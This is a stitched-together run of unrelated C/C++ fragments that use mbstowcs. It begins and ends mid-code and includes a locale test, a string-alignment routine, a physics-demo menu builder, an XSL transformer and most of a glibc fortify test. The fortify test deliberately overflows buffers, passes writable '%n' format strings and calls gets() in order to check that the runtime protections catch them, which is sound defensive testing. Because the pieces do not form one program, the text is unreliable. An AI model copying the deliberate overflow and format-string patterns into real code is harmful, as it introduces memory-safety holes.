srcbuf, 0) == 5); /* Empty source buffer. */ memset(srcbuf, 0xcc, sizeof(srcbuf)); srcbuf[0] = '\0'; wmemset(dstbuf, 0xcccc, sizeof(dstbuf) / sizeof(*dstbuf)); assert(mbstowcs(dstbuf, srcbuf, 1) == 0); assert(dstbuf[0] == 0); assert(dstbuf[1] == 0xcccc); /* Zero length destination buffer. */ memset(srcbuf, 0xcc, sizeof(srcbuf)); strcpy(srcbuf, "hello"); wmemset(dstbuf, 0xcccc, sizeof(dstbuf) / sizeof(*dstbuf)); assert(mbstowcs(dstbuf, srcbuf, 0) == 0); assert(dstbuf[0] == 0xcccc); #if CRYSTAX_FULL_LOCALES /* * Japanese (EUC) locale. */ locale = setlocale(LC_CTYPE, "ja_JP.eucJP"); assert(locale != NULL); assert(strcmp(locale, "ja_JP.eucJP") == 0); assert(MB_CUR_MAX > 1); memset(srcbuf, 0xcc, sizeof(srcbuf)); strcpy(srcbuf, "\xA3\xC1 B \xA3\xC3"); wmemset(dstbuf, 0xcccc, sizeof(dstbuf) / sizeof(*dstbuf)); assert(mbstowcs(dstbuf, srcbuf, sizeof(dstbuf) / sizeof(*dstbuf)) == 5); assert(dstbuf[0] == 0xA3C1 && dstbuf[1] == 0x20 && dstbuf[2] == 0x42 && dstbuf[3] == 0x20 && dstbuf[4] == 0xA3C3 && dstbuf[5] == 0); #endif /* CRYSTAX_FULL_LOCALES */ printf("ok 1 - mbstowcs()\n"); return (0); }
size_t mbsalign (const char *src, char *dest, size_t dest_size, size_t *width, mbs_align_t align, int flags) { size_t ret = -1; size_t src_size = strlen (src) + 1; char *newstr = NULL; wchar_t *str_wc = NULL; const char *str_to_print = src; size_t n_cols = src_size - 1; size_t n_used_bytes = n_cols; /* Not including NUL */ size_t n_spaces = 0; bool conversion = false; bool wc_enabled = false; /* In multi-byte locales convert to wide characters to allow easy truncation. Also determine number of screen columns used. */ if (MB_CUR_MAX > 1) { size_t src_chars = mbstowcs (NULL, src, 0); if (src_chars == (size_t) -1) { if (flags & MBA_UNIBYTE_FALLBACK) goto mbsalign_unibyte; else goto mbsalign_cleanup; } src_chars += 1; /* make space for NUL */ str_wc = malloc (src_chars * sizeof (wchar_t)); if (str_wc == NULL) { if (flags & MBA_UNIBYTE_FALLBACK) goto mbsalign_unibyte; else goto mbsalign_cleanup; } if (mbstowcs (str_wc, src, src_chars) != 0) { str_wc[src_chars - 1] = L'\0'; wc_enabled = true; conversion = wc_ensure_printable (str_wc); n_cols = rpl_wcswidth (str_wc, src_chars); } } /* If we transformed or need to truncate the source string then create a modified copy of it. */ if (wc_enabled && (conversion || (n_cols > *width))) { if (conversion) { /* May have increased the size by converting \t to \uFFFD for example. */ src_size = wcstombs (NULL, str_wc, 0) + 1; } newstr = malloc (src_size); if (newstr == NULL) { if (flags & MBA_UNIBYTE_FALLBACK) goto mbsalign_unibyte; else goto mbsalign_cleanup; } str_to_print = newstr; n_cols = wc_truncate (str_wc, *width); n_used_bytes = wcstombs (newstr, str_wc, src_size); } mbsalign_unibyte: if (n_cols > *width) /* Unibyte truncation required. */ { n_cols = *width; n_used_bytes = n_cols; } if (*width > n_cols) /* Padding required. */ n_spaces = *width - n_cols; /* indicate to caller how many cells needed (not including padding). */ *width = n_cols; /* indicate to caller how many bytes needed (not including NUL). */ ret = n_used_bytes + (n_spaces * 1); /* Write as much NUL terminated output to DEST as possible. */ if (dest_size != 0) { size_t start_spaces, end_spaces; char *dest_end = dest + dest_size - 1; switch (align) { case MBS_ALIGN_LEFT: start_spaces = 0; end_spaces = n_spaces; break; case MBS_ALIGN_RIGHT: start_spaces = n_spaces; end_spaces = 0; break; case MBS_ALIGN_CENTER: default: start_spaces = n_spaces / 2 + n_spaces % 2; end_spaces = n_spaces / 2; break; } dest = mbs_align_pad (dest, dest_end, start_spaces); size_t space_left = dest_end - dest; dest = mempcpy (dest, str_to_print, MIN (n_used_bytes, space_left)); mbs_align_pad (dest, dest_end, end_spaces); } mbsalign_cleanup: free (str_wc); free (newstr); return ret; }
wxMenuBar* NewtonDemos::CreateMainMenu() { wxMenuBar* const mainMenu = new wxMenuBar(); // adding the file menu { wxMenu* const fileMenu = new wxMenu; fileMenu->Append(wxID_ABOUT, wxT("About")); fileMenu->AppendSeparator(); fileMenu->Append(wxID_PREFERENCES, wxT("Preferences")); fileMenu->AppendSeparator(); fileMenu->Append(wxID_NEW, wxT("&New"), wxT("Create a blank new scene")); fileMenu->AppendSeparator(); fileMenu->Append(wxID_OPEN, wxT("&Open"), wxT("Open visual scene in dScene newton format")); fileMenu->Append(wxID_SAVE, wxT("&Save"), wxT("Save visual scene in dScene newton format")); fileMenu->AppendSeparator(); fileMenu->Append(ID_SERIALIZE, wxT("&Serialize"), wxT("Serialize scene to binary file")); fileMenu->Append(ID_DESERIALIZE, wxT("&Deserialize"), wxT("Load previuoslly serialized scame")); // fileMenu->AppendSeparator(); // fileMenu->Append(m_idImportPhysics, wxT("&Open physics scene"), wxT("Open physics scene in collada format")); // fileMenu->Append(m_idExportPhysics, wxT("&Save physics scene"), wxT("Save physics in collada format")); fileMenu->AppendSeparator(); fileMenu->Append(wxID_EXIT, wxT("E&xit\tAlt-X"), wxT("Quit SDK sample") ); // add main menus to menu bar mainMenu->Append(fileMenu, wxT("&File")); } // engine all demo examples { wxMenu* const sdkDemos = new wxMenu; int demosCount = int (sizeof (m_demosSelection) / sizeof m_demosSelection[0]); for (int i = 0; i < demosCount; i ++) { sdkDemos->AppendRadioItem (NewtonDemos::ID_RUN_DEMO + i, m_demosSelection[i].m_name, m_demosSelection[i].m_description); } mainMenu->Append(sdkDemos, wxT("&Demos")); } // option menu { wxMenu* const optionsMenu = new wxMenu;; optionsMenu->AppendCheckItem(ID_AUTOSLEEP_MODE, wxT("Auto sleep mode"), wxT("toogle auto sleep bodies")); optionsMenu->Check (ID_AUTOSLEEP_MODE, m_autoSleepState); optionsMenu->AppendCheckItem(ID_SHOW_STATISTICS, wxT("Show Stats on screen"), wxT("toogle on screen frame rate and other stats")); optionsMenu->AppendCheckItem(ID_USE_PARALLEL_SOLVER, wxT("Parallel solver on")); optionsMenu->AppendSeparator(); optionsMenu->AppendRadioItem(ID_BROADPHSE_TYPE0, wxT("Default broaphase"), wxT("for scenes with more dynamics bodies than static")); optionsMenu->AppendRadioItem(ID_BROADPHSE_TYPE1, wxT("Persintent broaphase"), wxT("for scenes with lot more static bodies than dynamics")); optionsMenu->AppendSeparator(); optionsMenu->AppendRadioItem(ID_SOLVER_MODE + 0, wxT("Exact solver on")); optionsMenu->AppendRadioItem(ID_SOLVER_MODE + 1, wxT("Iterative solver one passes")); optionsMenu->AppendRadioItem(ID_SOLVER_MODE + 2, wxT("Iterative solver two passes")); optionsMenu->AppendRadioItem(ID_SOLVER_MODE + 3, wxT("Iterative solver four passes")); optionsMenu->AppendRadioItem(ID_SOLVER_MODE + 4, wxT("Iterative solver eight passes")); dAssert (m_solverModeIndex >= 0); dAssert (m_solverModeIndex < int (sizeof (m_solverModes)/sizeof (m_solverModes[0]))); optionsMenu->Check (ID_SOLVER_MODE + m_solverModeIndex, true); optionsMenu->AppendSeparator(); optionsMenu->AppendRadioItem(ID_SOLVER_QUALITY + 0, wxT("Iterative Solver Quality Low")); optionsMenu->AppendRadioItem(ID_SOLVER_QUALITY + 1, wxT("Iterative Solver Quality High")); optionsMenu->Check (ID_SOLVER_QUALITY + m_solverModeQuality, true); optionsMenu->AppendSeparator(); optionsMenu->AppendRadioItem(ID_SHOW_COLLISION_MESH, wxT("Hide collision Mesh")); optionsMenu->AppendRadioItem(ID_SHOW_COLLISION_MESH + 1, wxT("Show solid collision Mesh")); optionsMenu->AppendRadioItem(ID_SHOW_COLLISION_MESH + 2, wxT("Show wire frame collision Mesh")); optionsMenu->AppendSeparator(); optionsMenu->AppendCheckItem(ID_HIDE_VISUAL_MESHES, wxT("Hide visual meshes")); optionsMenu->AppendCheckItem(ID_SHOW_CONTACT_POINTS, wxT("Show contact points")); optionsMenu->AppendCheckItem(ID_SHOW_NORMAL_FORCES, wxT("Show normal forces")); optionsMenu->AppendCheckItem(ID_SHOW_AABB, wxT("Show aabb")); optionsMenu->AppendCheckItem(ID_SHOW_CENTER_OF_MASS, wxT("Show center of mass")); optionsMenu->AppendCheckItem(ID_SHOW_JOINTS, wxT("show Joint debug info")); optionsMenu->AppendSeparator(); int platformsCount = NewtonEnumerateDevices (m_scene->GetNewton()); for (int i = 0; i < platformsCount; i ++) { wxString label; char platform[256]; NewtonGetDeviceString (m_scene->GetNewton(), i, platform, sizeof (platform)); #ifdef _POSIX_VER wxChar wPlatform[256]; mbstowcs (wPlatform, platform, sizeof (platform)); wxString tmp (wPlatform); label.Printf (wxT(" hardware mode %s"), tmp.c_str()); #else label.Printf (wxT(" hardware mode %s"), wxString(platform)); #endif optionsMenu->AppendRadioItem(ID_PLATFORMS + i, label); } //optionsMenu->Check(ID_PLATFORMS, true); optionsMenu->AppendSeparator(); optionsMenu->AppendCheckItem(ID_CONCURRENT_PHYSICS_UPDATE, wxT("Concurrent physics update")); wxMenu* const microThreadedsSubMenu = new wxMenu; for (int i = 0 ; i < int (sizeof (m_threadsTracks)/ sizeof (m_threadsTracks[0])); i ++) { wxString msg; msg.Printf(wxT ("%d micro threads"), m_threadsTracks[i]); microThreadedsSubMenu->AppendRadioItem(ID_SELECT_MICROTHREADS + i, msg); } optionsMenu->AppendSubMenu (microThreadedsSubMenu, wxT("select microThread count")); mainMenu->Append(optionsMenu, wxT("&Options")); } // add help menu { wxMenu* const helpMenu = new wxMenu;; helpMenu->Append(wxID_HELP, wxT("About")); // helpMenu->Append(NewtonDemos::ID_ON_ABOUT, wxT("About")); mainMenu->Append(helpMenu, wxT("&Help")); } SetMenuBar(mainMenu); return mainMenu; }
void FdoXslTransformerXalan::Transform() { // Reading from a stream at EOF is a common client error. // Therefore trap this particular problem. FdoIoStreamP stream = FdoXmlReaderP(GetInDoc())->GetStream(); FdoInt64 streamLen = stream->GetLength(); if ( (streamLen >= 0) && (stream->GetIndex() >= streamLen) ) throw FdoXmlException::Create( FdoException::NLSGetMessage( FDO_NLSID(FDO_55_XSLINPUTEOF) ) ); stream = FdoXmlReaderP(GetStylesheet())->GetStream(); streamLen = stream->GetLength(); if ( (streamLen >= 0) && (stream->GetIndex() >= streamLen) ) throw FdoXmlException::Create( FdoException::NLSGetMessage( FDO_NLSID(FDO_56_XSLSTYLESHEETEOF) ) ); // Create the Xalan transformer XALAN_CPP_NAMESPACE::XalanTransformer transformer; // Attach the in document to it FdoXmlReaderP readerP = GetInDoc(); InputSource inSource( readerP ); // Attach the stylesheet to it. readerP = GetStylesheet(); InputSource sheetSource( readerP ); sheetSource.setSystemId((const XMLCh*) L"sheet"); try { FdoDictionaryP params = GetParameters(); FdoInt32 i; // Give Xalan all the parameters for ( i = 0; i < params->GetCount(); i++ ) { FdoDictionaryElementP param = params->GetItem(i); if ( param->GetValue() ) transformer.setStylesheetParam( XALAN_CPP_NAMESPACE::XalanDOMString( (const char*) FdoStringP(param->GetName()) ), XALAN_CPP_NAMESPACE::XalanDOMString( (const char*) FdoStringP(param->GetValue()) ) ); } // Listen to messages, warnings, and errors: transformer.setProblemListener(this); // Do the transformation. if ( transformer.transform( inSource, sheetSource, (void*) this, (XalanOutputHandlerType) outputHandler, (XalanFlushHandlerType) flushHandler ) ) { const char* lastError = transformer.getLastError(); size_t i = strlen ( lastError ) + 1; wchar_t* wstrLastError = (wchar_t*)alloca (i * sizeof (wchar_t)); //#ifdef _WIN32 // i = MultiByteToWideChar ( CP_THREAD_ACP, 0,lastError,(int)i, wstrLastError,(int)i); //#else i = mbstowcs (wstrLastError, lastError, i); //#endif if( i == 0 ) wstrLastError[0] = 0; throw FdoXmlException::Create( FdoException::NLSGetMessage( FDO_NLSID(FDO_42_GENERICCHAR), wstrLastError ) ); } } catch ( const XALAN_CPP_NAMESPACE::XSLException& ex ) { throw FdoXmlException::Create( FdoException::NLSGetMessage( FDO_NLSID(FDO_43_XSLERROR), ex.getLineNumber(), ex.getColumnNumber(), (FdoString*)XalanDomStringToUnicode(ex.getMessage()) ) ); } }
static int do_test (void) { struct sigaction sa; sa.sa_handler = handler; sa.sa_flags = 0; sigemptyset (&sa.sa_mask); sigaction (SIGABRT, &sa, NULL); /* Avoid all the buffer overflow messages on stderr. */ int fd = open (_PATH_DEVNULL, O_WRONLY); if (fd == -1) close (STDERR_FILENO); else { dup2 (fd, STDERR_FILENO); close (fd); } setenv ("LIBC_FATAL_STDERR_", "1", 1); struct A { char buf1[9]; char buf2[1]; } a; struct wA { wchar_t buf1[9]; wchar_t buf2[1]; } wa; printf ("Test checking routines at fortify level %d\n", #ifdef __USE_FORTIFY_LEVEL (int) __USE_FORTIFY_LEVEL #else 0 #endif ); #if defined __USE_FORTIFY_LEVEL && !defined __extern_always_inline printf ("Test skipped"); if (l0 == 0) return 0; #endif /* These ops can be done without runtime checking of object size. */ memcpy (buf, "abcdefghij", 10); memmove (buf + 1, buf, 9); if (memcmp (buf, "aabcdefghi", 10)) FAIL (); if (mempcpy (buf + 5, "abcde", 5) != buf + 10 || memcmp (buf, "aabcdabcde", 10)) FAIL (); memset (buf + 8, 'j', 2); if (memcmp (buf, "aabcdabcjj", 10)) FAIL (); strcpy (buf + 4, "EDCBA"); if (memcmp (buf, "aabcEDCBA", 10)) FAIL (); if (stpcpy (buf + 8, "F") != buf + 9 || memcmp (buf, "aabcEDCBF", 10)) FAIL (); strncpy (buf + 6, "X", 4); if (memcmp (buf, "aabcEDX\0\0", 10)) FAIL (); if (sprintf (buf + 7, "%s", "67") != 2 || memcmp (buf, "aabcEDX67", 10)) FAIL (); if (snprintf (buf + 7, 3, "%s", "987654") != 6 || memcmp (buf, "aabcEDX98", 10)) FAIL (); /* These ops need runtime checking, but shouldn't __chk_fail. */ memcpy (buf, "abcdefghij", l0 + 10); memmove (buf + 1, buf, l0 + 9); if (memcmp (buf, "aabcdefghi", 10)) FAIL (); if (mempcpy (buf + 5, "abcde", l0 + 5) != buf + 10 || memcmp (buf, "aabcdabcde", 10)) FAIL (); memset (buf + 8, 'j', l0 + 2); if (memcmp (buf, "aabcdabcjj", 10)) FAIL (); strcpy (buf + 4, str1 + 5); if (memcmp (buf, "aabcEDCBA", 10)) FAIL (); if (stpcpy (buf + 8, str2) != buf + 9 || memcmp (buf, "aabcEDCBF", 10)) FAIL (); strncpy (buf + 6, "X", l0 + 4); if (memcmp (buf, "aabcEDX\0\0", 10)) FAIL (); if (stpncpy (buf + 5, "cd", l0 + 5) != buf + 7 || memcmp (buf, "aabcEcd\0\0", 10)) FAIL (); if (sprintf (buf + 7, "%d", num1) != 2 || memcmp (buf, "aabcEcd67", 10)) FAIL (); if (snprintf (buf + 7, 3, "%d", num2) != 6 || memcmp (buf, "aabcEcd98", 10)) FAIL (); buf[l0 + 8] = '\0'; strcat (buf, "A"); if (memcmp (buf, "aabcEcd9A", 10)) FAIL (); buf[l0 + 7] = '\0'; strncat (buf, "ZYXWV", l0 + 2); if (memcmp (buf, "aabcEcdZY", 10)) FAIL (); memcpy (a.buf1, "abcdefghij", l0 + 10); memmove (a.buf1 + 1, a.buf1, l0 + 9); if (memcmp (a.buf1, "aabcdefghi", 10)) FAIL (); if (mempcpy (a.buf1 + 5, "abcde", l0 + 5) != a.buf1 + 10 || memcmp (a.buf1, "aabcdabcde", 10)) FAIL (); memset (a.buf1 + 8, 'j', l0 + 2); if (memcmp (a.buf1, "aabcdabcjj", 10)) FAIL (); #if __USE_FORTIFY_LEVEL < 2 /* The following tests are supposed to crash with -D_FORTIFY_SOURCE=2 and sufficient GCC support, as the string operations overflow from a.buf1 into a.buf2. */ strcpy (a.buf1 + 4, str1 + 5); if (memcmp (a.buf1, "aabcEDCBA", 10)) FAIL (); if (stpcpy (a.buf1 + 8, str2) != a.buf1 + 9 || memcmp (a.buf1, "aabcEDCBF", 10)) FAIL (); strncpy (a.buf1 + 6, "X", l0 + 4); if (memcmp (a.buf1, "aabcEDX\0\0", 10)) FAIL (); if (sprintf (a.buf1 + 7, "%d", num1) != 2 || memcmp (a.buf1, "aabcEDX67", 10)) FAIL (); if (snprintf (a.buf1 + 7, 3, "%d", num2) != 6 || memcmp (a.buf1, "aabcEDX98", 10)) FAIL (); a.buf1[l0 + 8] = '\0'; strcat (a.buf1, "A"); if (memcmp (a.buf1, "aabcEDX9A", 10)) FAIL (); a.buf1[l0 + 7] = '\0'; strncat (a.buf1, "ZYXWV", l0 + 2); if (memcmp (a.buf1, "aabcEDXZY", 10)) FAIL (); #endif #if __USE_FORTIFY_LEVEL >= 1 /* Now check if all buffer overflows are caught at runtime. */ CHK_FAIL_START memcpy (buf + 1, "abcdefghij", l0 + 10); CHK_FAIL_END CHK_FAIL_START memmove (buf + 2, buf + 1, l0 + 9); CHK_FAIL_END CHK_FAIL_START p = (char *) mempcpy (buf + 6, "abcde", l0 + 5); CHK_FAIL_END CHK_FAIL_START memset (buf + 9, 'j', l0 + 2); CHK_FAIL_END CHK_FAIL_START strcpy (buf + 5, str1 + 5); CHK_FAIL_END CHK_FAIL_START p = stpcpy (buf + 9, str2); CHK_FAIL_END CHK_FAIL_START strncpy (buf + 7, "X", l0 + 4); CHK_FAIL_END CHK_FAIL_START stpncpy (buf + 6, "cd", l0 + 5); CHK_FAIL_END # if !defined __cplusplus || defined __va_arg_pack CHK_FAIL_START sprintf (buf + 8, "%d", num1); CHK_FAIL_END CHK_FAIL_START snprintf (buf + 8, l0 + 3, "%d", num2); CHK_FAIL_END #if __OPTION_POSIX_C_LANG_WIDE_CHAR CHK_FAIL_START swprintf (wbuf + 8, 3, L"%d", num1); CHK_FAIL_END CHK_FAIL_START swprintf (wbuf + 8, l0 + 3, L"%d", num1); CHK_FAIL_END #endif /* __OPTION_POSIX_C_LANG_WIDE_CHAR */ # endif memcpy (buf, str1 + 2, l0 + 9); CHK_FAIL_START strcat (buf, "AB"); CHK_FAIL_END memcpy (buf, str1 + 3, l0 + 8); CHK_FAIL_START strncat (buf, "ZYXWV", l0 + 3); CHK_FAIL_END CHK_FAIL_START memcpy (a.buf1 + 1, "abcdefghij", l0 + 10); CHK_FAIL_END CHK_FAIL_START memmove (a.buf1 + 2, a.buf1 + 1, l0 + 9); CHK_FAIL_END CHK_FAIL_START p = (char *) mempcpy (a.buf1 + 6, "abcde", l0 + 5); CHK_FAIL_END CHK_FAIL_START memset (a.buf1 + 9, 'j', l0 + 2); CHK_FAIL_END # if __USE_FORTIFY_LEVEL >= 2 # define O 0 # else # define O 1 # endif CHK_FAIL_START strcpy (a.buf1 + (O + 4), str1 + 5); CHK_FAIL_END CHK_FAIL_START p = stpcpy (a.buf1 + (O + 8), str2); CHK_FAIL_END CHK_FAIL_START strncpy (a.buf1 + (O + 6), "X", l0 + 4); CHK_FAIL_END # if !defined __cplusplus || defined __va_arg_pack CHK_FAIL_START sprintf (a.buf1 + (O + 7), "%d", num1); CHK_FAIL_END CHK_FAIL_START snprintf (a.buf1 + (O + 7), l0 + 3, "%d", num2); CHK_FAIL_END # endif memcpy (a.buf1, str1 + (3 - O), l0 + 8 + O); CHK_FAIL_START strcat (a.buf1, "AB"); CHK_FAIL_END memcpy (a.buf1, str1 + (4 - O), l0 + 7 + O); CHK_FAIL_START strncat (a.buf1, "ZYXWV", l0 + 3); CHK_FAIL_END #endif #if __OPTION_POSIX_C_LANG_WIDE_CHAR /* These ops can be done without runtime checking of object size. */ wmemcpy (wbuf, L"abcdefghij", 10); wmemmove (wbuf + 1, wbuf, 9); if (wmemcmp (wbuf, L"aabcdefghi", 10)) FAIL (); if (wmempcpy (wbuf + 5, L"abcde", 5) != wbuf + 10 || wmemcmp (wbuf, L"aabcdabcde", 10)) FAIL (); wmemset (wbuf + 8, L'j', 2); if (wmemcmp (wbuf, L"aabcdabcjj", 10)) FAIL (); wcscpy (wbuf + 4, L"EDCBA"); if (wmemcmp (wbuf, L"aabcEDCBA", 10)) FAIL (); if (wcpcpy (wbuf + 8, L"F") != wbuf + 9 || wmemcmp (wbuf, L"aabcEDCBF", 10)) FAIL (); wcsncpy (wbuf + 6, L"X", 4); if (wmemcmp (wbuf, L"aabcEDX\0\0", 10)) FAIL (); if (swprintf (wbuf + 7, 3, L"%ls", L"987654") >= 0 || wmemcmp (wbuf, L"aabcEDX98", 10)) FAIL (); if (swprintf (wbuf + 7, 3, L"64") != 2 || wmemcmp (wbuf, L"aabcEDX64", 10)) FAIL (); /* These ops need runtime checking, but shouldn't __chk_fail. */ wmemcpy (wbuf, L"abcdefghij", l0 + 10); wmemmove (wbuf + 1, wbuf, l0 + 9); if (wmemcmp (wbuf, L"aabcdefghi", 10)) FAIL (); if (wmempcpy (wbuf + 5, L"abcde", l0 + 5) != wbuf + 10 || wmemcmp (wbuf, L"aabcdabcde", 10)) FAIL (); wmemset (wbuf + 8, L'j', l0 + 2); if (wmemcmp (wbuf, L"aabcdabcjj", 10)) FAIL (); wcscpy (wbuf + 4, wstr1 + 5); if (wmemcmp (wbuf, L"aabcEDCBA", 10)) FAIL (); if (wcpcpy (wbuf + 8, wstr2) != wbuf + 9 || wmemcmp (wbuf, L"aabcEDCBF", 10)) FAIL (); wcsncpy (wbuf + 6, L"X", l0 + 4); if (wmemcmp (wbuf, L"aabcEDX\0\0", 10)) FAIL (); if (wcpncpy (wbuf + 5, L"cd", l0 + 5) != wbuf + 7 || wmemcmp (wbuf, L"aabcEcd\0\0", 10)) FAIL (); if (swprintf (wbuf + 7, 3, L"%d", num2) >= 0 || wmemcmp (wbuf, L"aabcEcd98", 10)) FAIL (); wbuf[l0 + 8] = L'\0'; wcscat (wbuf, L"A"); if (wmemcmp (wbuf, L"aabcEcd9A", 10)) FAIL (); wbuf[l0 + 7] = L'\0'; wcsncat (wbuf, L"ZYXWV", l0 + 2); if (wmemcmp (wbuf, L"aabcEcdZY", 10)) FAIL (); wmemcpy (wa.buf1, L"abcdefghij", l0 + 10); wmemmove (wa.buf1 + 1, wa.buf1, l0 + 9); if (wmemcmp (wa.buf1, L"aabcdefghi", 10)) FAIL (); if (wmempcpy (wa.buf1 + 5, L"abcde", l0 + 5) != wa.buf1 + 10 || wmemcmp (wa.buf1, L"aabcdabcde", 10)) FAIL (); wmemset (wa.buf1 + 8, L'j', l0 + 2); if (wmemcmp (wa.buf1, L"aabcdabcjj", 10)) FAIL (); #if __USE_FORTIFY_LEVEL < 2 /* The following tests are supposed to crash with -D_FORTIFY_SOURCE=2 and sufficient GCC support, as the string operations overflow from a.buf1 into a.buf2. */ wcscpy (wa.buf1 + 4, wstr1 + 5); if (wmemcmp (wa.buf1, L"aabcEDCBA", 10)) FAIL (); if (wcpcpy (wa.buf1 + 8, wstr2) != wa.buf1 + 9 || wmemcmp (wa.buf1, L"aabcEDCBF", 10)) FAIL (); wcsncpy (wa.buf1 + 6, L"X", l0 + 4); if (wmemcmp (wa.buf1, L"aabcEDX\0\0", 10)) FAIL (); if (swprintf (wa.buf1 + 7, 3, L"%d", num2) >= 0 || wmemcmp (wa.buf1, L"aabcEDX98", 10)) FAIL (); wa.buf1[l0 + 8] = L'\0'; wcscat (wa.buf1, L"A"); if (wmemcmp (wa.buf1, L"aabcEDX9A", 10)) FAIL (); wa.buf1[l0 + 7] = L'\0'; wcsncat (wa.buf1, L"ZYXWV", l0 + 2); if (wmemcmp (wa.buf1, L"aabcEDXZY", 10)) FAIL (); #endif #if __USE_FORTIFY_LEVEL >= 1 /* Now check if all buffer overflows are caught at runtime. */ CHK_FAIL_START wmemcpy (wbuf + 1, L"abcdefghij", l0 + 10); CHK_FAIL_END CHK_FAIL_START wmemcpy (wbuf + 9, L"abcdefghij", l0 + 10); CHK_FAIL_END CHK_FAIL_START wmemmove (wbuf + 2, wbuf + 1, l0 + 9); CHK_FAIL_END CHK_FAIL_START wp = wmempcpy (wbuf + 6, L"abcde", l0 + 5); CHK_FAIL_END CHK_FAIL_START wmemset (wbuf + 9, L'j', l0 + 2); CHK_FAIL_END CHK_FAIL_START wcscpy (wbuf + 5, wstr1 + 5); CHK_FAIL_END CHK_FAIL_START wp = wcpcpy (wbuf + 9, wstr2); CHK_FAIL_END CHK_FAIL_START wcsncpy (wbuf + 7, L"X", l0 + 4); CHK_FAIL_END CHK_FAIL_START wcsncpy (wbuf + 9, L"XABCDEFGH", 8); CHK_FAIL_END CHK_FAIL_START wcpncpy (wbuf + 9, L"XABCDEFGH", 8); CHK_FAIL_END CHK_FAIL_START wcpncpy (wbuf + 6, L"cd", l0 + 5); CHK_FAIL_END wmemcpy (wbuf, wstr1 + 2, l0 + 9); CHK_FAIL_START wcscat (wbuf, L"AB"); CHK_FAIL_END wmemcpy (wbuf, wstr1 + 3, l0 + 8); CHK_FAIL_START wcsncat (wbuf, L"ZYXWV", l0 + 3); CHK_FAIL_END CHK_FAIL_START wmemcpy (wa.buf1 + 1, L"abcdefghij", l0 + 10); CHK_FAIL_END CHK_FAIL_START wmemmove (wa.buf1 + 2, wa.buf1 + 1, l0 + 9); CHK_FAIL_END CHK_FAIL_START wp = wmempcpy (wa.buf1 + 6, L"abcde", l0 + 5); CHK_FAIL_END CHK_FAIL_START wmemset (wa.buf1 + 9, L'j', l0 + 2); CHK_FAIL_END #if __USE_FORTIFY_LEVEL >= 2 # define O 0 #else # define O 1 #endif CHK_FAIL_START wcscpy (wa.buf1 + (O + 4), wstr1 + 5); CHK_FAIL_END CHK_FAIL_START wp = wcpcpy (wa.buf1 + (O + 8), wstr2); CHK_FAIL_END CHK_FAIL_START wcsncpy (wa.buf1 + (O + 6), L"X", l0 + 4); CHK_FAIL_END wmemcpy (wa.buf1, wstr1 + (3 - O), l0 + 8 + O); CHK_FAIL_START wcscat (wa.buf1, L"AB"); CHK_FAIL_END wmemcpy (wa.buf1, wstr1 + (4 - O), l0 + 7 + O); CHK_FAIL_START wcsncat (wa.buf1, L"ZYXWV", l0 + 3); CHK_FAIL_END #endif #endif /* __OPTION_POSIX_C_LANG_WIDE_CHAR */ /* Now checks for %n protection. */ /* Constant literals passed directly are always ok (even with warnings about possible bugs from GCC). */ int n1, n2; if (sprintf (buf, "%s%n%s%n", str2, &n1, str2, &n2) != 2 || n1 != 1 || n2 != 2) FAIL (); /* In this case the format string is not known at compile time, but resides in read-only memory, so is ok. */ if (snprintf (buf, 4, str3, str2, &n1, str2, &n2) != 2 || n1 != 1 || n2 != 2) FAIL (); strcpy (buf2 + 2, "%n%s%n"); /* When the format string is writable and contains %n, with -D_FORTIFY_SOURCE=2 it causes __chk_fail. */ CHK_FAIL2_START if (sprintf (buf, buf2, str2, &n1, str2, &n1) != 2) FAIL (); CHK_FAIL2_END CHK_FAIL2_START if (snprintf (buf, 3, buf2, str2, &n1, str2, &n1) != 2) FAIL (); CHK_FAIL2_END /* But if there is no %n, even writable format string should work. */ buf2[6] = '\0'; if (sprintf (buf, buf2 + 4, str2) != 1) FAIL (); /* Constant literals passed directly are always ok (even with warnings about possible bugs from GCC). */ if (printf ("%s%n%s%n", str4, &n1, str5, &n2) != 14 || n1 != 7 || n2 != 14) FAIL (); /* In this case the format string is not known at compile time, but resides in read-only memory, so is ok. */ if (printf (str3, str4, &n1, str5, &n2) != 14 || n1 != 7 || n2 != 14) FAIL (); strcpy (buf2 + 2, "%n%s%n"); /* When the format string is writable and contains %n, with -D_FORTIFY_SOURCE=2 it causes __chk_fail. */ CHK_FAIL2_START if (printf (buf2, str4, &n1, str5, &n1) != 14) FAIL (); CHK_FAIL2_END /* But if there is no %n, even writable format string should work. */ buf2[6] = '\0'; if (printf (buf2 + 4, str5) != 7) FAIL (); FILE *fp = stdout; /* Constant literals passed directly are always ok (even with warnings about possible bugs from GCC). */ if (fprintf (fp, "%s%n%s%n", str4, &n1, str5, &n2) != 14 || n1 != 7 || n2 != 14) FAIL (); /* In this case the format string is not known at compile time, but resides in read-only memory, so is ok. */ if (fprintf (fp, str3, str4, &n1, str5, &n2) != 14 || n1 != 7 || n2 != 14) FAIL (); strcpy (buf2 + 2, "%n%s%n"); /* When the format string is writable and contains %n, with -D_FORTIFY_SOURCE=2 it causes __chk_fail. */ CHK_FAIL2_START if (fprintf (fp, buf2, str4, &n1, str5, &n1) != 14) FAIL (); CHK_FAIL2_END /* But if there is no %n, even writable format string should work. */ buf2[6] = '\0'; if (fprintf (fp, buf2 + 4, str5) != 7) FAIL (); char *my_ptr = NULL; strcpy (buf2 + 2, "%n%s%n"); /* When the format string is writable and contains %n, with -D_FORTIFY_SOURCE=2 it causes __chk_fail. */ CHK_FAIL2_START if (asprintf (&my_ptr, buf2, str4, &n1, str5, &n1) != 14) FAIL (); else free (my_ptr); CHK_FAIL2_END struct obstack obs; obstack_init (&obs); CHK_FAIL2_START if (obstack_printf (&obs, buf2, str4, &n1, str5, &n1) != 14) FAIL (); CHK_FAIL2_END obstack_free (&obs, NULL); my_ptr = NULL; if (asprintf (&my_ptr, "%s%n%s%n", str4, &n1, str5, &n1) != 14) FAIL (); else free (my_ptr); obstack_init (&obs); if (obstack_printf (&obs, "%s%n%s%n", str4, &n1, str5, &n1) != 14) FAIL (); obstack_free (&obs, NULL); if (freopen (temp_filename, "r", stdin) == NULL) { puts ("could not open temporary file"); exit (1); } if (gets (buf) != buf || memcmp (buf, "abcdefgh", 9)) FAIL (); if (gets (buf) != buf || memcmp (buf, "ABCDEFGHI", 10)) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START if (gets (buf) != buf) FAIL (); CHK_FAIL_END #endif rewind (stdin); if (fgets (buf, sizeof (buf), stdin) != buf || memcmp (buf, "abcdefgh\n", 10)) FAIL (); if (fgets (buf, sizeof (buf), stdin) != buf || memcmp (buf, "ABCDEFGHI", 10)) 